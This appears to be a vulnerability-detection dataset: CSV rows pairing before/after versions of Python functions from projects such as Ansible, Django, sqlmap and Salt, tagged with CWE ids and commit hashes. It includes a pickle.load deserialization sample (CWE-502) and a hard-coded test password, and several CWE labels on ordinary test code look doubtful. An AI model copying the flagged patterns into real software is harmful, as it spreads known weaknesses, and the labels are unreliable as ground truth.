            ""report-uri "" + url_path_join(self.base_url, csp_report_uri),
        ])"
,UNKNOWN,UNKNOWN,lib/ansible/module_utils/urls.py,1,"def http_request(self, req):
        tmp_ca_cert_path, to_add_ca_cert_path, paths_checked = self.get_ca_certs()
        https_proxy = os.environ.get('https_proxy')
        context = None
        try:
            context = self._make_context(to_add_ca_cert_path)
        except Exception:
            # We'll make do with no context below
            pass

        # Detect if 'no_proxy' environment variable is set and if our URL is included
        use_proxy = self.detect_no_proxy(req.get_full_url())

        if not use_proxy:
            # ignore proxy settings for this host request
            if tmp_ca_cert_path:
                try:
                    os.remove(tmp_ca_cert_path)
                except OSError:
                    pass
            if to_add_ca_cert_path:
                try:
                    os.remove(to_add_ca_cert_path)
                except OSError:
                    pass
            return req

        try:
            if https_proxy:
                proxy_parts = generic_urlparse(urlparse(https_proxy))
                port = proxy_parts.get('port') or 443
                proxy_hostname = proxy_parts.get('hostname', None)
                if proxy_hostname is None or proxy_parts.get('scheme') == '':
                    raise ProxyError(""Failed to parse https_proxy environment variable.""
                                     "" Please make sure you export https proxy as 'https_proxy=<SCHEME>://<IP_ADDRESS>:<PORT>'"")

                s = socket.create_connection((proxy_hostname, port))
                if proxy_parts.get('scheme') == 'http':
                    s.sendall(to_bytes(self.CONNECT_COMMAND % (self.hostname, self.port), errors='surrogate_or_strict'))
                    if proxy_parts.get('username'):
                        credentials = ""%s:%s"" % (proxy_parts.get('username', ''), proxy_parts.get('password', ''))
                        s.sendall(b'Proxy-Authorization: Basic %s\r\n' % base64.b64encode(to_bytes(credentials, errors='surrogate_or_strict')).strip())
                    s.sendall(b'\r\n')
                    connect_result = b""""
                    while connect_result.find(b""\r\n\r\n"") <= 0:
                        connect_result += s.recv(4096)
                        # 128 kilobytes of headers should be enough for everyone.
                        if len(connect_result) > 131072:
                            raise ProxyError('Proxy sent too verbose headers. Only 128KiB allowed.')
                    self.validate_proxy_response(connect_result)
                    if context:
                        ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                    elif HAS_URLLIB3_SSL_WRAP_SOCKET:
                        ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                    else:
                        ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                        match_hostname(ssl_s.getpeercert(), self.hostname)
                else:
                    raise ProxyError('Unsupported proxy scheme: %s. Currently ansible only supports HTTP proxies.' % proxy_parts.get('scheme'))
            else:
                s = socket.create_connection((self.hostname, self.port))
                if context:
                    ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                elif HAS_URLLIB3_SSL_WRAP_SOCKET:
                    ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                else:
                    ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                    match_hostname(ssl_s.getpeercert(), self.hostname)
            # close the ssl connection
            # ssl_s.unwrap()
            s.close()
        except (ssl.SSLError, CertificateError) as e:
            build_ssl_validation_error(self.hostname, self.port, paths_checked, e)
        except socket.error as e:
            raise ConnectionError('Failed to connect to %s at port %s: %s' % (self.hostname, self.port, to_native(e)))

        try:
            # cleanup the temp file created, don't worry
            # if it fails for some reason
            os.remove(tmp_ca_cert_path)
        except:
            pass

        try:
            # cleanup the temp file created, don't worry
            # if it fails for some reason
            if to_add_ca_cert_path:
                os.remove(to_add_ca_cert_path)
        except:
            pass

        return req",CWE-703,ansible/ansible,7f0fe1898e73b16c3b07f9ca4f505193dd7f7089,"def http_request(self, req):
        tmp_ca_cert_path, to_add_ca_cert_path, paths_checked = self.get_ca_certs()
        https_proxy = os.environ.get('https_proxy')
        context = None
        try:
            context = self._make_context(to_add_ca_cert_path)
        except Exception:
            # We'll make do with no context below
            pass

        # Detect if 'no_proxy' environment variable is set and if our URL is included
        use_proxy = self.detect_no_proxy(req.get_full_url())

        if not use_proxy:
            # ignore proxy settings for this host request
            if tmp_ca_cert_path:
                try:
                    os.remove(tmp_ca_cert_path)
                except OSError:
                    pass
            if to_add_ca_cert_path:
                try:
                    os.remove(to_add_ca_cert_path)
                except OSError:
                    pass
            return req

        try:
            if https_proxy:
                proxy_parts = generic_urlparse(urlparse(https_proxy))
                port = proxy_parts.get('port') or 443
                s = socket.create_connection((proxy_parts.get('hostname'), port))
                if proxy_parts.get('scheme') == 'http':
                    s.sendall(to_bytes(self.CONNECT_COMMAND % (self.hostname, self.port), errors='surrogate_or_strict'))
                    if proxy_parts.get('username'):
                        credentials = ""%s:%s"" % (proxy_parts.get('username', ''), proxy_parts.get('password', ''))
                        s.sendall(b'Proxy-Authorization: Basic %s\r\n' % base64.b64encode(to_bytes(credentials, errors='surrogate_or_strict')).strip())
                    s.sendall(b'\r\n')
                    connect_result = b""""
                    while connect_result.find(b""\r\n\r\n"") <= 0:
                        connect_result += s.recv(4096)
                        # 128 kilobytes of headers should be enough for everyone.
                        if len(connect_result) > 131072:
                            raise ProxyError('Proxy sent too verbose headers. Only 128KiB allowed.')
                    self.validate_proxy_response(connect_result)
                    if context:
                        ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                    elif HAS_URLLIB3_SSL_WRAP_SOCKET:
                        ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                    else:
                        ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                        match_hostname(ssl_s.getpeercert(), self.hostname)
                else:
                    raise ProxyError('Unsupported proxy scheme: %s. Currently ansible only supports HTTP proxies.' % proxy_parts.get('scheme'))
            else:
                s = socket.create_connection((self.hostname, self.port))
                if context:
                    ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                elif HAS_URLLIB3_SSL_WRAP_SOCKET:
                    ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                else:
                    ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                    match_hostname(ssl_s.getpeercert(), self.hostname)
            # close the ssl connection
            # ssl_s.unwrap()
            s.close()
        except (ssl.SSLError, CertificateError) as e:
            build_ssl_validation_error(self.hostname, self.port, paths_checked, e)
        except socket.error as e:
            raise ConnectionError('Failed to connect to %s at port %s: %s' % (self.hostname, self.port, to_native(e)))

        try:
            # cleanup the temp file created, don't worry
            # if it fails for some reason
            os.remove(tmp_ca_cert_path)
        except:
            pass

        try:
            # cleanup the temp file created, don't worry
            # if it fails for some reason
            if to_add_ca_cert_path:
                os.remove(to_add_ca_cert_path)
        except:
            pass

        return req"
,UNKNOWN,UNKNOWN,tests/llama_index/test_llama_index_tracer.py,1,"def test_trace_llm_complete_stream():
    model_name = ""gpt-3.5-turbo""
    llm = OpenAI(model=model_name)

    response_gen = llm.stream_complete(""Hello"")
    # No trace should be created until the generator is consumed
    assert len(_get_all_traces()) == 0
    assert inspect.isgenerator(response_gen)

    response = [r.text for r in response_gen]
    assert response == [""Hello"", ""Hello world""]

    traces = _get_all_traces()
    assert len(traces) == 1
    assert traces[0].info.status == TraceStatus.OK

    spans = traces[0].data.spans
    assert len(spans) == 1
    assert spans[0].name == ""OpenAI.stream_complete""
    assert spans[0].span_type == SpanType.LLM
    assert spans[0].inputs == {""args"": [""Hello""]}
    assert spans[0].outputs[""text""] == ""Hello world""

    attr = spans[0].attributes
    assert (
        attr[""usage""].items()
        >= {
            ""prompt_tokens"": 9,
            ""completion_tokens"": 12,
            ""total_tokens"": 21,
            ""completion_tokens_details"": None,
            ""prompt_tokens_details"": None,
        }.items()
    )
    assert attr[""prompt""] == ""Hello""
    assert attr[""invocation_params""][""model_name""] == model_name
    assert attr[""model_dict""][""model""] == model_name",CWE-703,mlflow/mlflow,6ad165e84d6c905c3a0b271c80a56ba8810e7d4f,"def test_trace_llm_complete_stream():
    model_name = ""gpt-3.5-turbo""
    llm = OpenAI(model=model_name)

    response_gen = llm.stream_complete(""Hello"")
    # No trace should be created until the generator is consumed
    assert len(_get_all_traces()) == 0
    assert inspect.isgenerator(response_gen)

    response = [r.text for r in response_gen]
    assert response == [""Hello"", ""Hello world""]

    traces = _get_all_traces()
    assert len(traces) == 1
    assert traces[0].info.status == TraceStatus.OK

    spans = traces[0].data.spans
    assert len(spans) == 1
    assert spans[0].name == ""OpenAI.stream_complete""
    assert spans[0].span_type == SpanType.LLM
    assert spans[0].inputs == {""args"": [""Hello""]}
    assert spans[0].outputs[""text""] == ""Hello world""

    attr = spans[0].attributes
    assert (
        attr[""usage""].items()
        >= {
            ""prompt_tokens"": 9,
            ""completion_tokens"": 12,
            ""total_tokens"": 21,
            ""completion_tokens_details"": None,
            ""prompt_tokens_details"": None,
        }.items()
    )
    assert attr[""prompt""] == ""Hello""
    assert attr[""invocation_params""][""model_name""] == model_name
    assert attr[""model_dict""][""model""] == model_name"
,UNKNOWN,UNKNOWN,tests/regressiontests/admin_views/tests.py,1,"def testLogin(self):
        """"""
        Make sure only staff members can log in.

        Successful posts to the login page will redirect to the orignal url.
        Unsuccessfull attempts will continue to render the login page with
        a 200 status code.
        """"""
        # Super User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Test if user enters e-mail address
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Your e-mail address is not your username"")
        # only correct passwords get a username hint
        login = self.client.post('/test_admin/admin/', self.super_email_bad_login)
        self.assertContains(login, ""Please enter a correct username and password"")
        new_user = User(username='jondoe', password='secret', email='super@example.com')
        new_user.save()
        # check to ensure if there are multiple e-mail addresses a user doesn't get a 500
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Please enter a correct username and password"")

        # Add User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.adduser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Change User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.changeuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Delete User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.deleteuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Regular User should not be able to login.
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.joepublic_login)
        self.failUnlessEqual(login.status_code, 200)
        # Login.context is a list of context dicts we just need to check the first one.
        self.assert_(login.context[0].get('error_message'))

        # Requests without username should not return 500 errors.
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.no_username_login)
        self.failUnlessEqual(login.status_code, 200)
        # Login.context is a list of context dicts we just need to check the first one.
        self.assert_(login.context[0].get('error_message'))",CWE-259,django/django,a607d9d34546a4ff9313d431e275ed0bf365d42a,"def testLogin(self):
        """"""
        Make sure only staff members can log in.

        Successful posts to the login page will redirect to the orignal url.
        Unsuccessfull attempts will continue to render the login page with
        a 200 status code.
        """"""
        # Super User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Test if user enters e-mail address
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Your e-mail address is not your username"")
        # only correct passwords get a username hint
        login = self.client.post('/test_admin/admin/', self.super_email_bad_login)
        self.assertContains(login, ""Usernames cannot contain the &#39;@&#39; character"")
        new_user = User(username='jondoe', password='secret', email='super@example.com')
        new_user.save()
        # check to ensure if there are multiple e-mail addresses a user doesn't get a 500
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Usernames cannot contain the &#39;@&#39; character"")

        # Add User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.adduser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Change User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.changeuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Delete User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.deleteuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Regular User should not be able to login.
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.joepublic_login)
        self.failUnlessEqual(login.status_code, 200)
        # Login.context is a list of context dicts we just need to check the first one.
        self.assert_(login.context[0].get('error_message'))

        # Requests without username should not return 500 errors.
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.no_username_login)
        self.failUnlessEqual(login.status_code, 200)
        # Login.context is a list of context dicts we just need to check the first one.
        self.assert_(login.context[0].get('error_message'))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def checkPipedInput():
    """"""
    Checks whether input to program has been provided via standard input (e.g. cat /tmp/req.txt | python sqlmap.py -r -)
    # Reference: https://stackoverflow.com/a/33873570
    """"""

    return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, ""fileno"") else False",,sqlmapproject/sqlmap,145f87c50dd3a791bf541745ae99a364c5076b90,"def checkPipedInput():
    """"""
    Checks whether input to program has been provided via standard input (e.g. cat /tmp/req.txt | python sqlmap.py -r -)
    # Reference: https://stackoverflow.com/a/33873570
    """"""

    return not os.isatty(sys.stdin.fileno())"
,UNKNOWN,UNKNOWN,lib/core/bigarray.py,1,"def _checkcache(self, index):
        if (self.cache and self.cache.index != index and self.cache.dirty):
            filename = self._dump(self.cache.data)
            self.chunks[self.cache.index] = filename
        if not (self.cache and self.cache.index == index):
            with open(self.chunks[index], ""rb"") as fp:
                self.cache = Cache(index, pickle.load(fp), False)",CWE-502,sqlmapproject/sqlmap,982fcde1c0fd5c518796dfde5268f356aaf3aae6,"def _checkcache(self, index):
        if (self.cache and self.cache.index != index and self.cache.dirty):
            filename = self._dump(self.cache.data)
            self.chunks[self.cache.index] = filename
        if not (self.cache and self.cache.index == index):
            with open(self.chunks[index], ""rb"") as fp:
                self.cache = Cache(index, pickle.load(fp), False)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/config/__init__.py,0,"def apply_minion_config(overrides=None,
                        defaults=None,
                        cache_minion_id=False,
                        minion_id=None):
    '''
    Returns minion configurations dict.
    '''
    if defaults is None:
        defaults = DEFAULT_MINION_OPTS
    if overrides is None:
        overrides = {}

    opts = defaults.copy()
    opts['__role'] = 'minion'
    _adjust_log_file_override(overrides, defaults['log_file'])
    if overrides:
        opts.update(overrides)

    if 'environment' in opts:
        if opts['saltenv'] is not None:
            log.warning(
                'The \'saltenv\' and \'environment\' minion config options '
                'cannot both be used. Ignoring \'environment\' in favor of '
                '\'saltenv\'.',
            )
            # Set environment to saltenv in case someone's custom module is
            # refrencing __opts__['environment']
            opts['environment'] = opts['saltenv']
        else:
            log.warning(
                'The \'environment\' minion config option has been renamed '
                'to \'saltenv\'. Using %s as the \'saltenv\' config value.',
                opts['environment']
            )
            opts['saltenv'] = opts['environment']

    for idx, val in enumerate(opts['fileserver_backend']):
        if val in ('git', 'hg', 'svn', 'minion'):
            new_val = val + 'fs'
            log.debug(
                'Changed %s to %s in minion opts\' fileserver_backend list',
                val, new_val
            )
            opts['fileserver_backend'][idx] = new_val

    opts['__cli'] = salt.utils.stringutils.to_unicode(
        os.path.basename(sys.argv[0])
    )

    # No ID provided. Will getfqdn save us?
    using_ip_for_id = False
    if not opts.get('id'):
        if minion_id:
            opts['id'] = minion_id
        else:
            opts['id'], using_ip_for_id = get_id(
                    opts,
                    cache_minion_id=cache_minion_id)

    # it does not make sense to append a domain to an IP based id
    if not using_ip_for_id and 'append_domain' in opts:
        opts['id'] = _append_domain(opts)

    for directory in opts.get('append_minionid_config_dirs', []):
        if directory in ('pki_dir', 'cachedir', 'extension_modules'):
            newdirectory = os.path.join(opts[directory], opts['id'])
            opts[directory] = newdirectory
        elif directory == 'default_include' and directory in opts:
            include_dir = os.path.dirname(opts[directory])
            new_include_dir = os.path.join(include_dir,
                                           opts['id'],
                                           os.path.basename(opts[directory]))
            opts[directory] = new_include_dir

    # pidfile can be in the list of append_minionid_config_dirs, but pidfile
    # is the actual path with the filename, not a directory.
    if 'pidfile' in opts.get('append_minionid_config_dirs', []):
        newpath_list = os.path.split(opts['pidfile'])
        opts['pidfile'] = os.path.join(newpath_list[0], 'salt', opts['id'], newpath_list[1])

    if len(opts['sock_dir']) > len(opts['cachedir']) + 10:
        opts['sock_dir'] = os.path.join(opts['cachedir'], '.salt-unix')

    # Enabling open mode requires that the value be set to True, and
    # nothing else!
    opts['open_mode'] = opts['open_mode'] is True
    opts['file_roots'] = _validate_file_roots(opts['file_roots'])
    opts['pillar_roots'] = _validate_file_roots(opts['pillar_roots'])
    # Make sure ext_mods gets set if it is an untrue value
    # (here to catch older bad configs)
    opts['extension_modules'] = (
        opts.get('extension_modules') or
        os.path.join(opts['cachedir'], 'extmods')
    )
    # Set up the utils_dirs location from the extension_modules location
    opts['utils_dirs'] = (
        opts.get('utils_dirs') or
        [os.path.join(opts['extension_modules'], 'utils')]
    )

    # Insert all 'utils_dirs' directories to the system path
    insert_system_path(opts, opts['utils_dirs'])

    # Prepend root_dir to other paths
    prepend_root_dirs = [
        'pki_dir', 'cachedir', 'sock_dir', 'extension_modules', 'pidfile',
    ]

    # These can be set to syslog, so, not actual paths on the system
    for config_key in ('log_file', 'key_logfile'):
        if urlparse(opts.get(config_key, '')).scheme == '':
            prepend_root_dirs.append(config_key)

    prepend_root_dir(opts, prepend_root_dirs)

    # if there is no beacons option yet, add an empty beacons dict
    if 'beacons' not in opts:
        opts['beacons'] = {}

    if overrides.get('ipc_write_buffer', '') == 'dynamic':
        opts['ipc_write_buffer'] = _DFLT_IPC_WBUFFER

    # Make sure hash_type is lowercase
    opts['hash_type'] = opts['hash_type'].lower()

    # Check and update TLS/SSL configuration
    _update_ssl_config(opts)
    _update_discovery_config(opts)

    return opts",,saltstack/salt,0664ec73c1e95529cd737b949fe840da7b80c8e5,"def apply_minion_config(overrides=None,
                        defaults=None,
                        cache_minion_id=False,
                        minion_id=None):
    '''
    Returns minion configurations dict.
    '''
    if defaults is None:
        defaults = DEFAULT_MINION_OPTS
    if overrides is None:
        overrides = {}

    opts = defaults.copy()
    opts['__role'] = 'minion'
    _adjust_log_file_override(overrides, defaults['log_file'])
    if overrides:
        opts.update(overrides)

    if 'environment' in opts:
        if opts['saltenv'] is not None:
            log.warning(
                'The \'saltenv\' and \'environment\' minion config options '
                'cannot both be used. Ignoring \'environment\' in favor of '
                '\'saltenv\'.',
            )
            # Set environment to saltenv in case someone's custom module is
            # refrencing __opts__['environment']
            opts['environment'] = opts['saltenv']
        else:
            log.warning(
                'The \'environment\' minion config option has been renamed '
                'to \'saltenv\'. Using %s as the \'saltenv\' config value.',
                opts['environment']
            )
            opts['saltenv'] = opts['environment']

    for idx, val in enumerate(opts['fileserver_backend']):
        if val in ('git', 'hg', 'svn', 'minion'):
            new_val = val + 'fs'
            log.debug(
                'Changed %s to %s in minion opts\' fileserver_backend list',
                val, new_val
            )
            opts['fileserver_backend'][idx] = new_val

    opts['__cli'] = salt.utils.stringutils.to_unicode(
        os.path.basename(sys.argv[0])
    )

    # No ID provided. Will getfqdn save us?
    using_ip_for_id = False
    if not opts.get('id'):
        if minion_id:
            opts['id'] = minion_id
        else:
            opts['id'], using_ip_for_id = get_id(
                    opts,
                    cache_minion_id=cache_minion_id)

    # it does not make sense to append a domain to an IP based id
    if not using_ip_for_id and 'append_domain' in opts:
        opts['id'] = _append_domain(opts)

    for directory in opts.get('append_minionid_config_dirs', []):
        if directory in ('pki_dir', 'cachedir', 'extension_modules'):
            newdirectory = os.path.join(opts[directory], opts['id'])
            opts[directory] = newdirectory
        elif directory == 'default_include' and directory in opts:
            include_dir = os.path.dirname(opts[directory])
            new_include_dir = os.path.join(include_dir,
                                           opts['id'],
                                           os.path.basename(opts[directory]))
            opts[directory] = new_include_dir

    # pidfile can be in the list of append_minionid_config_dirs, but pidfile
    # is the actual path with the filename, not a directory.
    if 'pidfile' in opts.get('append_minionid_config_dirs', []):
        newpath_list = os.path.split(opts['pidfile'])
        opts['pidfile'] = os.path.join(newpath_list[0], 'salt', opts['id'], newpath_list[1])

    if len(opts['sock_dir']) > len(opts['cachedir']) + 10:
        opts['sock_dir'] = os.path.join(opts['cachedir'], '.salt-unix')

    # Enabling open mode requires that the value be set to True, and
    # nothing else!
    opts['open_mode'] = opts['open_mode'] is True
    opts['file_roots'] = _validate_file_roots(opts['file_roots'])
    opts['pillar_roots'] = _validate_file_roots(opts['pillar_roots'])
    # Make sure ext_mods gets set if it is an untrue value
    # (here to catch older bad configs)
    opts['extension_modules'] = (
        opts.get('extension_modules') or
        os.path.join(opts['cachedir'], 'extmods')
    )
    # Set up the utils_dirs location from the extension_modules location
    opts['utils_dirs'] = (
        opts.get('utils_dirs') or
        [os.path.join(opts['extension_modules'], 'utils')]
    )

    # Insert all 'utils_dirs' directories to the system path
    insert_system_path(opts, opts['utils_dirs'])

    # Prepend root_dir to other paths
    prepend_root_dirs = [
        'pki_dir', 'cachedir', 'sock_dir', 'extension_modules', 'pidfile',
    ]

    # These can be set to syslog, so, not actual paths on the system
    for config_key in ('log_file', 'key_logfile'):
        if urlparse(opts.get(config_key, '')).scheme == '':
            prepend_root_dirs.append(config_key)

    prepend_root_dir(opts, prepend_root_dirs)

    # if there is no beacons option yet, add an empty beacons dict
    if 'beacons' not in opts:
        opts['beacons'] = {}

    if overrides.get('ipc_write_buffer', '') == 'dynamic':
        opts['ipc_write_buffer'] = _DFLT_IPC_WBUFFER
    if 'ipc_write_buffer' not in overrides:
        opts['ipc_write_buffer'] = 0

    # Make sure hash_type is lowercase
    opts['hash_type'] = opts['hash_type'].lower()

    # Check and update TLS/SSL configuration
    _update_ssl_config(opts)
    _update_discovery_config(opts)

    return opts"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_sysrc.py,1,"def test_managed():
    """"""
    Test to ensure a sysrc variable is set to a specific value.
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(side_effect=[{""key1"": {""salt"": ""stack""}}, None, None])
    mock1 = MagicMock(return_value=True)
    with patch.dict(sysrc.__salt__, {""sysrc.get"": mock, ""sysrc.set"": mock1}):
        ret.update({""comment"": ""salt is already set to the desired value.""})
        assert sysrc.managed(""salt"", ""stack"") == ret

        with patch.dict(sysrc.__opts__, {""test"": True}):
            ret.update(
                {
                    ""changes"": {""new"": ""salt = stack will be set."", ""old"": None},
                    ""comment"": 'The value of ""salt"" will be changed!',
                    ""result"": None,
                }
            )
            assert sysrc.managed(""salt"", ""stack"") == ret

        with patch.dict(sysrc.__opts__, {""test"": False}):
            ret.update(
                {
                    ""changes"": {""new"": True, ""old"": None},
                    ""comment"": 'The value of ""salt"" was changed!',
                    ""result"": True,
                }
            )
            assert sysrc.managed(""salt"", ""stack"") == ret",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_managed():
    """"""
    Test to ensure a sysrc variable is set to a specific value.
    """"""
    ret = {""name"": ""salt"", ""changes"": {}, ""result"": True, ""comment"": """"}
    mock = MagicMock(side_effect=[{""key1"": {""salt"": ""stack""}}, None, None])
    mock1 = MagicMock(return_value=True)
    with patch.dict(sysrc.__salt__, {""sysrc.get"": mock, ""sysrc.set"": mock1}):
        ret.update({""comment"": ""salt is already set to the desired value.""})
        assert sysrc.managed(""salt"", ""stack"") == ret

        with patch.dict(sysrc.__opts__, {""test"": True}):
            ret.update(
                {
                    ""changes"": {""new"": ""salt = stack will be set."", ""old"": None},
                    ""comment"": ""The value"" ' of ""salt"" will be changed!',
                    ""result"": None,
                }
            )
            assert sysrc.managed(""salt"", ""stack"") == ret

        with patch.dict(sysrc.__opts__, {""test"": False}):
            ret.update(
                {
                    ""changes"": {""new"": True, ""old"": None},
                    ""comment"": 'The value of ""salt"" was changed!',
                    ""result"": True,
                }
            )
            assert sysrc.managed(""salt"", ""stack"") == ret"
,UNKNOWN,UNKNOWN,django/utils/version.py,1,"def get_complete_version(version=None):
    """"""Returns a tuple of the django version. If version argument is non-empty,
    then checks for correctness of the tuple provided.
    """"""
    if version is None:
        from django import VERSION as version
    else:
        assert len(version) == 5
        assert version[3] in ('alpha', 'beta', 'rc', 'final')

    return version",CWE-703,django/django,234a2e0b6bcad5536d5d6cbb398eb6b7cc4eb67e,"def get_complete_version(version=None):
    """"""Returns a tuple of the django version. If version argument is non-empty,
    then checks for correctness of the tuple provided.
    """"""
    if version is None:
        from django import VERSION as version
    else:
        assert len(version) == 5
        assert version[3] in ('alpha', 'beta', 'rc', 'final')

    return version"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/client.py,0,"def _families_and_addresses(self, hostname, port):
        """"""
        Yield pairs of address families and addresses to try for connecting.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :returns: Yields an iterable of ``(family, address)`` tuples
        """"""
        guess = True
        addrinfos = socket.getaddrinfo(
            hostname, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
        for (family, socktype, proto, canonname, sockaddr) in addrinfos:
            if socktype == socket.SOCK_STREAM:
                yield family, sockaddr
                guess = False

        # some OS like AIX don't indicate SOCK_STREAM support, so just
        # guess. :(  We only do this if we did not get a single result marked
        # as socktype == SOCK_STREAM.
        if guess:
            for family, _, _, _, sockaddr in addrinfos:
                yield family, sockaddr",,paramiko/paramiko,28218bf90b97451d3aba9d2c9ee01d87349a8886,"def _families_and_addresses(self, hostname, port):
        """"""
        Yield pairs of address families and addresses to try for connecting.

        :param str hostname: the server to connect to
        :param int port: the server port to connect to
        :returns: Yields an iterable of ``(family, address)`` tuples
        """"""
        guess = True
        addrinfos = socket.getaddrinfo(hostname, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
        for (family, socktype, proto, canonname, sockaddr) in addrinfos:
            if socktype == socket.SOCK_STREAM:
                yield family, sockaddr
                guess = False

        # some OS like AIX don't indicate SOCK_STREAM support, so just guess. :(
        # We only do this if we did not get a single result marked as socktype == SOCK_STREAM.
        if guess:
            for family, _, _, _, sockaddr in addrinfos:
                yield family, sockaddr"
,UNKNOWN,UNKNOWN,tests/test_regression.py,1,"def test_aborting(app):
    class Foo(Exception):
        whatever = 42

    @app.errorhandler(Foo)
    def handle_foo(e):
        return str(e.whatever)

    @app.route(""/"")
    def index():
        raise flask.abort(flask.redirect(flask.url_for(""test"")))

    @app.route(""/test"")
    def test():
        raise Foo()

    with app.test_client() as c:
        rv = c.get(""/"")
        location_parts = rv.headers[""Location""].rpartition(""/"")

        if location_parts[0]:
            # For older Werkzeug that used absolute redirects.
            assert location_parts[0] == ""http://localhost""

        assert location_parts[2] == ""test""
        rv = c.get(""/test"")
        assert rv.data == b""42""",CWE-703,pallets/flask,425a62686f094de236a5a9eb1d6885de4730efa5,"def test_aborting(app):
    class Foo(Exception):
        whatever = 42

    @app.errorhandler(Foo)
    def handle_foo(e):
        return str(e.whatever)

    @app.route(""/"")
    def index():
        raise flask.abort(flask.redirect(flask.url_for(""test"")))

    @app.route(""/test"")
    def test():
        raise Foo()

    with app.test_client() as c:
        rv = c.get(""/"")
        assert rv.headers[""Location""] == ""http://localhost/test""
        rv = c.get(""/test"")
        assert rv.data == b""42"""
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_dags.py,1,"def test_patch_dags(
        self,
        test_client,
        query_params,
        body,
        expected_status_code,
        expected_ids,
        expected_paused_ids,
        session,
    ):
        response = test_client.patch(""/dags"", json=body, params=query_params)

        assert response.status_code == expected_status_code
        if expected_status_code == 200:
            body = response.json()
            assert {dag[""dag_id""] for dag in body[""dags""]} == set(expected_ids)
            paused_dag_ids = {dag[""dag_id""] for dag in body[""dags""] if dag[""is_paused""]}
            assert paused_dag_ids == set(expected_paused_ids)
